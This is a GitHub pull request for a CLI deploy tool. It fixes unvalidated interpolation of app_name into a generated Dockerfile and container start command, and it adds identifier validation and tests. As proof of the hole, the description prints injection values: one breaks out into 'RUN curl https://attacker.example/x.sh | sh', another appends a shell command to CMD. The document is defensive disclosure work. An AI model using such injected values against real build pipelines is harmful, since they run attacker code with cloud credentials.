fix(cli): validate app_name before interpolating it into the deploy Dockerfile - #6628
Open
herdiyana256 wants to merge 2 commits into
Open
fix(cli): validate app_name before interpolating it into the deploy Dockerfile#6628herdiyana256 wants to merge 2 commits into
herdiyana256 wants to merge 2 commits into
Conversation
adk deploy builds the container Dockerfile by interpolating app_name into
_DOCKERFILE_TEMPLATE with no validation. app_name defaults to the basename
of the agent source folder, so its value can come from a directory name the
deploying developer did not choose, such as a cloned or shared agent
template. A crafted name breaks out of the COPY/RUN instructions as its own
Dockerfile instruction (executed during docker build, typically in Cloud
Build with credentials and network egress), and in the agent_engine path it
also lands in the shell-form CMD via --gemini_enterprise_app_name={app_name}.
Restrict app_name to a plain identifier before it reaches the template, in
all three deploy paths (cloud_run, agent_engine, gke), raising a
ClickException otherwise.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
adk deploybuilds the container Dockerfile incli_deploy.pyby interpolatingapp_nameinto_DOCKERFILE_TEMPLATEwith no validation.app_namedefaults to the basename of the agent source folder (app_name = app_name or os.path.basename(agent_folder)), so its value can come from a directory name the deploying developer did not choose, for example a cloned or shared agent template whose folder name was picked by the template's author.The template places
app_namedirectly into instruction context:A value containing a quote and a newline breaks out of the
COPY/RUNline and becomes its own Dockerfile instruction, which runs duringdocker build(typically in Cloud Build, with a service-account credential and network egress). In theagent_enginepath there is a second sink:gemini_enterprise_option=f'--gemini_enterprise_app_name={app_name}'lands in the shell-formCMD, so the same value can inject a shell command into the container's start command.All three deploy subcommands are affected:
to_cloud_run,to_agent_engineandto_gkeall format the same template with the same unvalidatedapp_name.This is the same class as the already-merged JS fix (google/adk-js PR #604,
assertSafeDockerfileToken), which is not present in the Python port.Verified by executing the real
_DOCKERFILE_TEMPLATEfrom this file: anapp_nameofmyagent"\nRUN curl https://attacker.example/x.sh | sh\n#produces a Dockerfile whose injectedRUN curl ... | shis a standalone instruction, and anagent_engineapp_nameofx ; sh /tmp/c2 #produces aCMDline with; sh /tmp/c2as a separate shell command.The fix adds
_validate_app_name, restrictingapp_nameto^[A-Za-z0-9_-]{1,63}$(which the defaultssr, and any ordinary agent folder name, satisfies), and calls it in all three paths right afterapp_nameis resolved, raising aClickExceptionotherwise. Tests intest_cli_deploy.pycover both accepted identifiers and the rejected breakout payloads.python -m pytest tests/unittests/cli/utils/test_cli_deploy.py tests/unittests/cli/utils/test_cli_deploy_to_cloud_run.pypasses (74 tests).